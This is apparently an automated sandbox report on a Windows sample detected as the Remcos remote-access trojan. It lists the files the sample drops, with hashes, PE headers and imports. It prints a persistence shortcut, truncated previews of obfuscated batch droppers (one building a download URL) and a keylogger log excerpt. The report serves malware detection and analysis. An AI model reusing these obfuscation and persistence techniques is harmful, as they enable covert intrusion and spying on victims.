SHA-512:	6A43DAFBCECC3B261F9BC6ED789C42F283BBA43A5A6B8964F6DF3397323EF689815472FE0219D285645076FB3461A68F49C5632ACC939D9A2A543D83EC64528A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Preview:	....[.2.0.2.4./.1.2./.1.9. .0.2.:.0.0.:.2.8. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....[.W.i.n.].r.....[.R.u.n.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].....

C:\Users\Public\Emxwenem.url

Download File

Process:	C:\Users\user\Desktop\SEPTobn3BR.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Emxwenem.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.139114752324313
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMV1EysbxpO1Afy:HRYFVmTWDyzNyExpLK
MD5:	47C29599090276CDDA4AD978CBB59F05
SHA1:	A01D97F71BBCAD1278AFA34D8C9CAC601181A054
SHA-256:	5A50948B1C50FCC05C52D9AE176F70894AF2A5E6186224A93B2612B1D49ADC4E
SHA-512:	F7B3E21AE048814EDEB4983A08D2A0A27B321E5B9863CF67A005F9DE232FC58CDA2631425D488957EC5D6D181D171E9775E4924F82691F620CB2C4CF9F1EC3F4
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Emxwenem.PIF"..IconIndex=947535..HotKey=42..

C:\Users\Public\EmxwenemF.cmd

Download File

Process:	C:\Users\user\Desktop\SEPTobn3BR.exe
File Type:	DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15789
Entropy (8bit):	4.658965888116939
Encrypted:	false
SSDEEP:	384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
MD5:	CCE3C4AEE8C122DD8C44E64BD7884D83
SHA1:	C555C812A9145E2CBC66C7C64BA754B0C7528D6D
SHA-256:	4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
SHA-512:	EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
Malicious:	false
Preview:	.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

C:\Users\Public\Libraries\Emxwenem

Download File

Process:	C:\Users\user\Desktop\SEPTobn3BR.exe
File Type:	data
Category:	dropped
Size (bytes):	847380
Entropy (8bit):	7.404360654700282
Encrypted:	false
SSDEEP:	24576:ptIYYu1S1QfNWSb2euWo90fYXvjUtxs1nZ:DVnh/nE0fYXvqxs1nZ
MD5:	8B54B08B2D95D05647C46402656B40AF
SHA1:	1ED99BC0C8FA56E0FD68134B281C56CA0C60579E
SHA-256:	869941F8AA6684C7BE48352941D75C9577CE2153B5EAA3F1F5F9AD8BD2EF602D
SHA-512:	771ADFBCCDE1272143F8E2EE2720B2E605F399F29BF8FFF817FB4342BB13B593DD6CDD3D13F3BF55FE7B8AFF6752F9A9A46EE6F315D177478254C2A07CC74581
Malicious:	true
Preview:	...Y#..K...$.......!$!....#'.!.!.....!$..........%.....'.%...%'& ..."...#...'...#$..' ....'.'..$...Y#..KP.%$.....%....Y#..K...........V.@@/..`..".....">J...H....I....[..dL./W..W.%K..)..r...SJJ-....K>.4...q.>0...5....k..&P.......,.J.z1q...c...[...z..cb..5.A..J.I..+V.......G\|.V....Rz......8DJ..3......t$...VA:..w.V..'..D;=?-<.._:........] ....!::.....q..S...Yo...V.@......%.........e...[V......>...8U...Y...3........X...<..C9..5......E.@...2..4a.Gu.q....l.....wc+..... ...aT...{...{Z=.C.............A...Q..dK.R.h....Y59\|@@.....U.......P...4H...:.4p.D...C9.P.....< ..PE...SD....R.I.T.B9......4,,E.}...Z...#.y.s."...<.k..(....m...+..... 4...Z<..J..5.C8....,.,.o.3T"A.....R..F..#..E:=.......B//B\|............u.h.x....t..U..}.....9.....................".L........+...8....,B..2SF.4.G...tu.6.5.C..k......X.+.Z.P...V;<...V..x,?EJ.I...e...h....e..Wz.5.3I....H..\e.........u4J... .:..&....P..0..~W.o.............+....K..3....."....@...Y.w.....,..

C:\Users\Public\Libraries\Emxwenem.PIF

Download File

Process:	C:\Users\user\Desktop\SEPTobn3BR.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1362944
Entropy (8bit):	7.346681623297669
Encrypted:	false
SSDEEP:	24576:TS1gzTBokW3THfYl7JTOs1r7FX2DOfqDrKfK8r/4mSwhONqR:TtTiq973f
MD5:	CCDCD04A0FFDE31366754018598EB02F
SHA1:	38492826E8FEBF5BD7DA4F9D8A8379EC7044CA9A
SHA-256:	63C77A3F6CFA94CBC6A4C0C1475F02520592E58D6A03E8553E77A85A3F03C32F
SHA-512:	8059CF54A64B45598B39BECB3EC02FDF4B5837E4DD84AC82D33334850D61D1B33DF70DA0A65857C33E9A0FE2DC3D405BDBF6FA7214AB68E471E2E0C0F7E31053
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Joe Sandbox View:	Filename: greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B............................,.............@..........................P...................@...........................p......@..........................H\|...................................................w...............................text............................... ..`.itext..t........................... ..`.data...............................@....bss.....7...0...........................idata...*...p...,..................@....tls....4............@...................rdata...............@..............@..@.reloc..H\|.......~...B..............@..B.rsrc........@......................@..@.............P......................@..@................................................................................................

C:\Users\Public\Libraries\FX.cmd

Download File

Process:	C:\Users\user\Desktop\SEPTobn3BR.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	8556
Entropy (8bit):	4.623706637784657
Encrypted:	false
SSDEEP:	192:dSSQx41VVrTlS2owuuWTtkY16Wdhdsu0mYKDCIfYaYuX1fcDuy:Vrhgwuua5vdnQaCIVJF6uy
MD5:	60CD0BE570DECD49E4798554639A05AE
SHA1:	BD7BED69D9AB9A20B5263D74921C453F38477BCB
SHA-256:	CA6A6C849496453990BECEEF8C192D90908C0C615FA0A1D01BCD464BAD6966A5
SHA-512:	AB3DBDB4ED95A0CB4072B23DD241149F48ECFF8A69F16D81648E825D9D81A55954E5DD9BC46D3D7408421DF30C901B9AD1385D1E70793FA8D715C86C9E800C57
Malicious:	true
Preview:	@echo off..set "MJtc=Iet "..@%.r.......%e%...%c%...r....%h%.....%o%........% % .....%o%...%f%.o.%f%......%..s%.......%e%.%t%.. .....% %.rr.. .%"%...%w%......%o%...o..%t%r.....%c%....%=%... . .%s%...... %e%....%t%....% %........ %"% o...%..%wotc%"%.%n% r .%O%...%P%.. ..%t%.%=%...... o..%=%......%"%....r...%..%wotc%"aeeYdDdanR%nOPt%s://"..%wotc%"%..........%a%.%e%......%e%.r..%Y%..%d%.....r....%D%.. %d% ... .%a%.. ...%n%.. ..%R%........%%nOPt%s%...... .%:%.. %/%....%/%r......%"%.....r.%..%wotc%"%...... ...%U%.o..%g%.r.%

C:\Users\Public\Libraries\NEO.cmd

Download File

Process:	C:\Users\user\Desktop\SEPTobn3BR.exe
File Type:	DOS batch file, Unicode text, UTF-8 text, with very long lines (420), with CRLF line terminators
Category:	dropped
Size (bytes):	46543
Entropy (8bit):	4.705001079878445
Encrypted:	false
SSDEEP:	768:Ud6T6yIssKMyD/LgZ0+9Z2noufIBUEADZQp2H8ZLq:UdQFIssKMyjL4X2T8UbZT
MD5:	637A66953F03B084808934ED7DF7192F
SHA1:	D3AE40DFF4894972A141A631900BD3BB8C441696
SHA-256:	41E1F89A5F96F94C2C021FBC08EA1A10EA30DAEA62492F46A7F763385F95EC20
SHA-512:	2A0FEDD85722A2701D57AA751D5ACAA36BBD31778E5D2B51A5A1B21A687B9261F4685FD12E894244EA80B194C76E722B13433AD9B649625D2BC2DB4365991EA3
Malicious:	false
Preview:	@echo off..set "EPD=sPDet "..@%...... or%e%.........%c%......%h%.........o%o%.or......% %.o.ro...%o%.%f%...r.....%f%....r....%..s%. %e%.....%t% % % rrr....%"%.....%E%....%J%.. ....%O%.%h% .......%=%........%s%.. ..%e%....%t%....% %...o...%"%.%..%EJOh%"%.%r% %H%..%C%........%N%....o ....%=%..........%=% .%"%..%..%EJOh%"%.....%K%.%z%..r%j%........%L%..%c%. o.......%f%. o..%x%.%X%.........r%V%.%J%.....%%rHCN%k%.... ...%"%........%..%EJOh%"%.o.....%a%or%g%..o.... ..%u% ..%P%.....o...%X%.. .......%c% .....%U%.%I%. .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\json[1].json

Download File

Process:	C:\Windows\SysWOW64\colorcpl.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	5.018384957371898
Encrypted:	false
SSDEEP:	12:tkluWJmnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zz2:qlupdRNuKyGX85jvXhNlT3/7CcVKWro
MD5:	C9BB4D5FD5C8A01D20EBF8334B62AE54
SHA1:	D38895F4CBB44CB10B6512A19034F14A2FC40359
SHA-256:	767218EC255B7E851971A77B773C0ECC59DC0B179ECA46ABCC29047EEE6216AA
SHA-512:	2D412433053610C0229FB3B73A26C8FB684F0A4AB03A53D0533FDC52D4E9882C25037015ACE7D4A411214AA9FAA780A8D950A83B57B200A877E26D7890977157
Malicious:	false
Preview:	{. "geoplugin_request":"8.46.123.189",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7503",. "geoplugin_longitude":"-74.0014",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.346681623297669
TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	SEPTobn3BR.exe
File size:	1'362'944 bytes
MD5:	ccdcd04a0ffde31366754018598eb02f
SHA1:	38492826e8febf5bd7da4f9d8a8379ec7044ca9a
SHA256:	63c77a3f6cfa94cbc6a4c0c1475f02520592e58d6a03e8553e77a85a3f03c32f
SHA512:	8059cf54a64b45598b39becb3ec02fdf4b5837e4dd84ac82d33334850d61d1b33df70da0a65857c33e9a0fe2dc3d405bdbf6fa7214ab68e471e2e0c0f7e31053
SSDEEP:	24576:TS1gzTBokW3THfYl7JTOs1r7FX2DOfqDrKfK8r/4mSwhONqR:TtTiq973f
TLSH:	AA55AF13939287A1D9255D7068DF69A65A18BF20EFB4C43A6FD17F4C8F39E0024B6D23
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	132bc3040b0b0b13

Static PE Info

General

Entrypoint:	0x47082c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	2e10263a01b85d4d1c064ae3be7c8027

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046F39Ch
call 00007F5E34DC1839h
mov eax, dword ptr [00472C24h]
mov eax, dword ptr [eax]
call 00007F5E34E1AFC1h
mov ecx, dword ptr [004729F8h]
mov eax, dword ptr [00472C24h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0046CDDCh]
call 00007F5E34E1AFC1h
mov eax, dword ptr [00472C24h]
mov eax, dword ptr [eax]
call 00007F5E34E1B035h
call 00007F5E34DBF528h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x77000	0x2a88	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x84000	0xd0c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c000	0x7c48	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x7b000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x777dc	0x69c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6e60c	0x6e800	7f88a60478da2b59059ac9020a731125	False	0.5148804263291855	data	6.52663869684443	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x70000	0x874	0xa00	1d2f13587195bd07d0eacaf37f6bce18	False	0.53359375	data	5.614686748854788	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x71000	0x1ddc	0x1e00	64398b74c9b81658dc6c1c0840194ed3	False	0.40924479166666666	data	3.912605066546787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x73000	0x3700	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x77000	0x2a88	0x2c00	e6a0c30232a0c925db3f0b1f9f0c28e7	False	0.3114346590909091	data	5.108538589937939	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x7a000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x7b000	0x18	0x200	c82cfd34222b3044514069e79ad6ba11	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c000	0x7c48	0x7e00	2d8e689e68215d8c5822f613430c661e	False	0.6173735119047619	data	6.676175097423695	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x84000	0xd0c00	0xd0c00	51d994c39d421963d0ef160af1c8cab1	False	0.5735380800898203	data	7.474931732078971	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x85334	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x85468	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x8559c	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x856d0	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x85804	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x85938	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x85a6c	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x85ba0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x85d70	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x85f54	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x86124	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x862f4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x864c4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x86694	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x86864	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x86a34	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x86c04	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x86dd4	0x7dab0	Device independent bitmap graphic, 942 x 182 x 24, image size 514696	English	United States	0.6317840601784216
RT_BITMAP	0x104884	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0x1049ac	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x104ad4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x104bfc	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x104ce4	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x104e0c	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x104f34	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x105004	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x10512c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x105254	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x10537c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x1054a4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x1055cc	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x1056b4	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x1057dc	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x105904	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x1059d4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x105afc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x105c24	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x105d4c	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x105e74	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x105f9c	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x106084	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x1061ac	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x1062d4	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x1063a4	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x1064cc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x1065f4	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x1066dc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 1889 x 1889 px/m			0.30230496453900707
RT_ICON	0x106b44	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 1889 x 1889 px/m			0.1942622950819672
RT_ICON	0x1074cc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 1889 x 1889 px/m			0.1676829268292683
RT_ICON	0x108574	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 1889 x 1889 px/m			0.11058091286307054
RT_ICON	0x10ab1c	0x178b	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9465737514518002
RT_DIALOG	0x10c2a8	0x52	data			0.7682926829268293
RT_DIALOG	0x10c2fc	0x52	data			0.7560975609756098
RT_STRING	0x10c350	0x160	data			0.4460227272727273
RT_STRING	0x10c4b0	0x38c	Targa image data - Color 99 x 107 x 32 +68 +111 "z"			0.44162995594713655
RT_STRING	0x10c83c	0x1cc	data			0.558695652173913
RT_STRING	0x10ca08	0xcc	data			0.6764705882352942
RT_STRING	0x10cad4	0x114	data			0.6086956521739131
RT_STRING	0x10cbe8	0x350	data			0.43514150943396224
RT_STRING	0x10cf38	0x3bc	data			0.3817991631799163
RT_STRING	0x10d2f4	0x370	data			0.4022727272727273
RT_STRING	0x10d664	0x3cc	data			0.33539094650205764
RT_STRING	0x10da30	0x214	data			0.49624060150375937
RT_STRING	0x10dc44	0xcc	data			0.6274509803921569
RT_STRING	0x10dd10	0x194	data			0.5643564356435643
RT_STRING	0x10dea4	0x3c4	data			0.3288381742738589
RT_STRING	0x10e268	0x338	data			0.42961165048543687
RT_STRING	0x10e5a0	0x294	data			0.42424242424242425
RT_RCDATA	0x10e834	0x10	data			1.5
RT_RCDATA	0x10e844	0x340	data			0.6899038461538461
RT_RCDATA	0x10eb84	0x35b08	GIF image data, version 89a, 600 x 300	English	United States	0.6345128960675179
RT_RCDATA	0x14468c	0x10463	Delphi compiled form 'TfMain'			0.12409427084114673
RT_GROUP_CURSOR	0x154af0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x154b04	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x154b18	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x154b2c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x154b40	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x154b54	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x154b68	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x154b7c	0x4c	data			0.8289473684210527

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, 